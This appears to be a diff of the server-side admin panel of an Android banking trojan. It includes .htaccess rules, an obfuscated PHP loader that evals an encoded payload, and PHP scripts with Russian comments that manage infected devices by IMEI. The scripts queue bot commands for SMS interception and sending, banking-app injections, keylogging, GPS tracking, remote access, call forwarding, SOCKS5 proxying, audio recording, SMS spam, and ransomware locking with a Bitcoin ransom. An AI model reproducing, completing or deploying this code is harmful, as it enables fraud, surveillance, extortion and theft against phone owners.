CharsetSourceEnc utf-8
|
||||
CharsetDefault utf-8
|
||||
</IfModule>
|
||||
|
||||
<Files ".*"> Order allow,deny Deny from all </Files>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
AddDefaultCharset utf-8
|
||||
AddCharset utf-8 *
|
||||
|
||||
<IfModule mod_charset.c>
|
||||
CharsetSourceEnc utf-8
|
||||
CharsetDefault utf-8
|
||||
</IfModule>
|
||||
|
||||
|
||||
|
||||
|
||||
<FilesMatch ".(php|phtml|php3|php4|js|css|htaccess|zip)$">
|
||||
Order Allow,Deny
|
||||
Deny from all
|
||||
</FilesMatch>
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x1c0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTAzKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>M\FwG^sRMHC{Kkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tMlMholzF2a0htOgA0aTA0lNTlSJf2igCB51YZkfhULIGXplC2ivwtwJKXp9cBxzcbShF2azF2lvdl9LcbY0FM95htL7tm0hkrlkUAlkUAlkUAlkHT1MCBxzcTShDBCIhtrPDbYzcbWPky9TOaYTUA9KBZfXCB5ldy91F2aZk10phULhGXpzcbYzDB9Vb2OlF3OZd3LPhTShDoaicoaZhtkHd2YifolvdjPIR2xvc2lVRmnPFtwpKXp9cBxzcbShDBCIhtOgA0aTA0lNTlSmFoyVcBxgF3Oifuazk10iNUknC3Opd24JhbShF2azF2lvdl9LcbY0FM95htL7tMilCBOlFJIJTo9jCbOpd246wt9Sd2fpdJ5XDuEJhTShgBaSF2a7tJOkUAlkUAlkUAlkUTr9fuk1cTShgWp9tMlMhtOkUAlkUAlkUAlkUTrpGXP7f_C <div id="showAlert"></div>
|
||||
@@ -0,0 +1,113 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
if(isset($_SESSION["wh_anu7"])) {
|
||||
// header("Location: ./homepage.php");
|
||||
echo "" ;
|
||||
|
||||
}else{
|
||||
header("Location: ./");
|
||||
}
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
|
||||
if($statusCode){
|
||||
|
||||
if(isset($_REQUEST['imeis'])){
|
||||
include_once "../../config.php";
|
||||
|
||||
$getIMEIs = $_REQUEST['imeis'];
|
||||
|
||||
$arrayIMEI = explode(':',$getIMEIs);
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$arrayData = '';
|
||||
foreach($arrayIMEI as $imei){
|
||||
|
||||
if(strlen($imei)>4){
|
||||
$sql = "SELECT * FROM kliets WHERE IMEI='".$imei."'";
|
||||
foreach($connection->query($sql) as $row){
|
||||
if($imei == $row['IMEI']){//IMEI
|
||||
$lastConnect = $row['lastConnect'];
|
||||
$getInconConnect = getIconOnline($lastConnect);//онлайн
|
||||
$getScreen = $row['screen'];//скрин
|
||||
$getaccessibility = $row['accessibility'];//спец возможности
|
||||
$requestSMS = $row['requestSMS'];//скрытый перехват
|
||||
$requestInjProc=$row['requestInjProc'];//инжи
|
||||
$requestGeoloc=$row['requestGeoloc'];//геолокация
|
||||
$cards = $row['l_bank']; //карты
|
||||
$injs = $row['inj']; //инжекты
|
||||
$logs = $row['log']; //логи
|
||||
|
||||
if($getInconConnect!=0){
|
||||
$getScreen=0;
|
||||
}
|
||||
|
||||
$arrayData = "$arrayData|$imei:$getInconConnect:$getScreen:$getaccessibility:$requestSMS:$requestInjProc:$requestGeoloc:$cards:$injs:$logs";
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
echo "$arrayData";
|
||||
}
|
||||
}
|
||||
|
||||
function getIconOnline($lastConnect){
|
||||
//******Получаем иконку состояния бота, вычисляем дату****
|
||||
$arr_data_from = explode(" ", $lastConnect);
|
||||
$arr_data_till = explode(" ", date('Y-m-d H:i'));
|
||||
|
||||
$date_from = $arr_data_from[0];
|
||||
$date_till = $arr_data_till[0];
|
||||
|
||||
$date_from = explode('-', $date_from);
|
||||
$date_till = explode('-', $date_till);
|
||||
|
||||
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
|
||||
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
|
||||
|
||||
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
|
||||
//----------Секунды!-------/
|
||||
$date1 = new \DateTime($lastConnect);
|
||||
$date2 = new \DateTime(date('Y-m-d H:i'));
|
||||
$diff = $date2->diff($date1);
|
||||
// разница в секундах
|
||||
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
|
||||
($diff->m * 30 * 24 * 60 * 60) +
|
||||
($diff->d * 24 * 60 * 60) +
|
||||
($diff->h * 60 * 60) +
|
||||
($diff->i * 60) +
|
||||
$diff->s;
|
||||
//----------обработка состояние иконки on/off-------/
|
||||
if($day>=2)//Дни!
|
||||
{
|
||||
return '2';//умер
|
||||
}
|
||||
else
|
||||
{
|
||||
if($seconds<=120)
|
||||
{
|
||||
return '0';//онлайн
|
||||
}
|
||||
else
|
||||
{
|
||||
return '1';//оффлайны
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
if(isset($_REQUEST['imei'])){
|
||||
$getIMEI = $_REQUEST['imei'];
|
||||
if (@fopen("../datalogs/logs/$getIMEI.log", "r")){ // проверяем на существование файла
|
||||
$filename = "../datalogs/logs/$getIMEI.log";
|
||||
$handle = fopen($filename, "r");
|
||||
$contents = fread($handle, filesize($filename));
|
||||
fclose($handle);
|
||||
|
||||
include '../../config.php';
|
||||
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection3->exec('SET NAMES utf8');
|
||||
$statement = $connection3->prepare("UPDATE kliets SET log='0' WHERE IMEI = '$getIMEI';");
|
||||
$statement->execute(array($getIMEI));
|
||||
echo "$contents";
|
||||
}
|
||||
}
|
||||
}?>
|
||||
@@ -0,0 +1,84 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
|
||||
if($statusCode){
|
||||
|
||||
if(isset($_REQUEST['imei'])){
|
||||
|
||||
$getIMEI = $_REQUEST['imei'];
|
||||
|
||||
include_once "../../config.php";
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$sql = "SELECT * FROM settings";
|
||||
|
||||
$inject_str = "";
|
||||
$text_delsms = "";
|
||||
$IMEI = "";
|
||||
$inject ="";
|
||||
$del_sms = "";
|
||||
$state = "";
|
||||
$check_true = "";
|
||||
|
||||
$network = "";
|
||||
$gps = "";
|
||||
$foreground = "";
|
||||
$keylogger = "";
|
||||
|
||||
$check_record = "";
|
||||
$text_seconds ="";
|
||||
|
||||
$lookscreen = "0";
|
||||
|
||||
foreach($connection->query($sql) as $row){
|
||||
$IMEI = $row['IMEI'];
|
||||
$inject = $row['inject'];
|
||||
$del_sms = $row['del_sms'];
|
||||
$state = $row['state'];
|
||||
|
||||
if($IMEI == $getIMEI){
|
||||
$inject_str=$inject;
|
||||
$text_delsms = $del_sms;//Скрытие смс
|
||||
$network= $row['avtootvet_sig1'];//NetWork
|
||||
$gps = $row['avtootvet_sig2'];//GPS
|
||||
$check_true = $row['avtootvet_true'];//перехват смс
|
||||
$foreground = $row['checkforeground'];
|
||||
$keylogger=$row['keylogger'];
|
||||
$check_record=$row['checkrecord'];
|
||||
$text_seconds=$row['recordseconds'];
|
||||
$lookscreen=$row['lookscreen'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$sql = "SELECT * FROM kliets";
|
||||
$seconds="0";
|
||||
foreach($connection->query($sql) as $row){
|
||||
$IMEI = $row['IMEI'];
|
||||
if($IMEI == $getIMEI){
|
||||
$seconds = $row['seconds'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(($seconds=="")||($seconds==null))$seconds="0";
|
||||
|
||||
echo "$seconds|$inject_str|$check_true|$text_delsms|$network|$gps|$state|$foreground|$keylogger|$check_record|$text_seconds|$lookscreen";
|
||||
}
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
session_start();
|
||||
if(isset($_SESSION["wh_anu7"])) {
|
||||
// header("Location: ./homepage.php");
|
||||
echo "" ;
|
||||
|
||||
}else{
|
||||
session_destroy();
|
||||
header("Location: ./");
|
||||
}
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
//передаем данные для выпонения команд!!!-----
|
||||
if((isset($_POST["ADDUSER"]))&&($statusCode)){
|
||||
include '../../config.php';
|
||||
$login = $_POST['login'];
|
||||
$pass=$_POST['password'];
|
||||
$password = md5("$login $pass $login");
|
||||
$right = $_POST['RIGHT'];
|
||||
$tag = $_POST['tag'];
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
$add_data = $connect->exec("insert into t_users (login,password,right_,status,tag)
|
||||
value ('$login','$password','$right','Disabled','$tag')");
|
||||
|
||||
header("Location: /".namefolder."/index.php?cont=settings&page=users");
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1 @@
|
||||
\
|
||||
@@ -0,0 +1,446 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user']))){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
//передаем данные для выпонения команд!!!-----
|
||||
if($statusCode){
|
||||
|
||||
if (isset($_REQUEST['comboBox_commands'])){
|
||||
include '../../config.php';
|
||||
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection3->exec('SET NAMES utf8');
|
||||
$que=$_REQUEST['comboBox_commands'];
|
||||
if($que == "sentSMS"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$numb = $_REQUEST['text_number'];
|
||||
$msg = $_REQUEST['text_msg'];
|
||||
|
||||
$numb = str_replace("@","+",$numb);
|
||||
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|command=Send_GO_SMS|number=$numb|text=$msg::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startUSSD"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$text_ussd = $_REQUEST['text_ussd'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
//$text_ussd= str_replace("AAA","#",$text_ussd);
|
||||
$command_ = "|command=startUSSD|ussd=$text_ussd|endUssD::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startAlert"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$text_title = $_REQUEST['title_push'];
|
||||
$text_push = $_REQUEST['text_push'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|command=ALERT|title=$text_title|text=$text_push::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startPush"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$text_title = $_REQUEST['titlePush'];
|
||||
$text_push = $_REQUEST['textPush'];
|
||||
$icon = $_REQUEST['comboBox_push'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|command=PUSH|title=$text_title|text=$text_push|icon=$icon::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startAutoPush"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$statement = $connection3->prepare("SELECT bank FROM kliets WHERE IMEI='$imei'");
|
||||
$statement->execute();
|
||||
$bank="";
|
||||
foreach($statement as $row){
|
||||
$bank = $row['bank'];
|
||||
break;
|
||||
}
|
||||
if($bank!=""){
|
||||
$statement = $connection3->prepare("SELECT process FROM injection");
|
||||
$statement->execute();
|
||||
$masBank = explode(",", $bank);
|
||||
foreach($masBank as $bank){
|
||||
foreach($statement as $row){
|
||||
$process = $row['process'];
|
||||
if (preg_match("/$bank/",$process)) {
|
||||
$masappname = explode(",", $process);
|
||||
$appname=$masappname[0];
|
||||
$command_ = "startAutoPush|AppName=$appname|EndAppName::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "numberGO"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "nymBePsG0::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "getSMS"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "GetSWSGO::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "RequestPermissionInj"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "RequestPermissionInj::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "RequestPermissionGPS"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "RequestPermissionGPS::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "getIP"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "getIP::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startaccessibility"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "startaccessibility::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startpermission"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "startpermission::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "getapps"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "getapps::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "getpermissions"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "getpermissions::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "getkeylogger"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "getkeylogger::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "killBot"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "killBot::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($que == "numberGOsendSMS"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$ussd = $_REQUEST['text_sms_tel_book'];
|
||||
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|telbookgotext=$ussd|endtextbook::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startPermis"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "Go_startPermis_request::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startGPSlocat"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "Go_GPSlocat_request::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startinj"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$ussd = $_REQUEST['comboBox_inj'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|startinj=$ussd|endstartinj::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "rat"){
|
||||
$imei = $_REQUEST['text_imei'];
|
||||
$url = $_REQUEST['url'];
|
||||
if($imei !="" ){
|
||||
$command_ = "|startrat=$imei|endrat=$url|endurl::";
|
||||
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
if($que == "startforward"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$forward = $_REQUEST['text_forward'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|startforward=$forward|endforward::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "stopforward"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "stopforward::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "openbrowser"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$url = $_REQUEST['text_openbrowser'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|openbrowser=$url|endbrowser::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "openactivity"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$url = $_REQUEST['text_openactivity'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|openactivity=$url|endactivity::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "startApp"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$app = $_REQUEST['text_start_app'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|startapplication=$app|endapp::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "cryptolocker"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$key = $_REQUEST['key'];
|
||||
$amount = $_REQUEST['amount'];
|
||||
$btc = $_REQUEST['btc'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|cryptokey=$key/:/$amount/:/$btc|endcrypt::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "decryptolocker"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$key = $_REQUEST['key'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|decryptokey=$key|enddecrypt::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "recordsound"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$seconds = $_REQUEST['seconds'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|recordsound=$seconds|endrecord::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
if($que == "replaceURL"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$url = $_REQUEST['text_replace_url'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|replaceurl=$url|endurl::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($que == "spamsms"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$text = $_REQUEST['spam'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|spam=$text|endspam::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($que == "startsocks5"){
|
||||
$imeis_ = $_REQUEST['text_imei'];
|
||||
$imeis_ = explode(':', $imeis_);
|
||||
$host = $_REQUEST['host'];
|
||||
$user = $_REQUEST['user'];
|
||||
$pass = $_REQUEST['pass'];
|
||||
$port = $_REQUEST['port'];
|
||||
foreach($imeis_ as $imei){
|
||||
if($imei !="" ){
|
||||
$command_ = "|sockshost=$host|user=$user|pass=$pass|port=$port|endssh::";
|
||||
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
|
||||
$statement->execute(array($imei,$command_));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
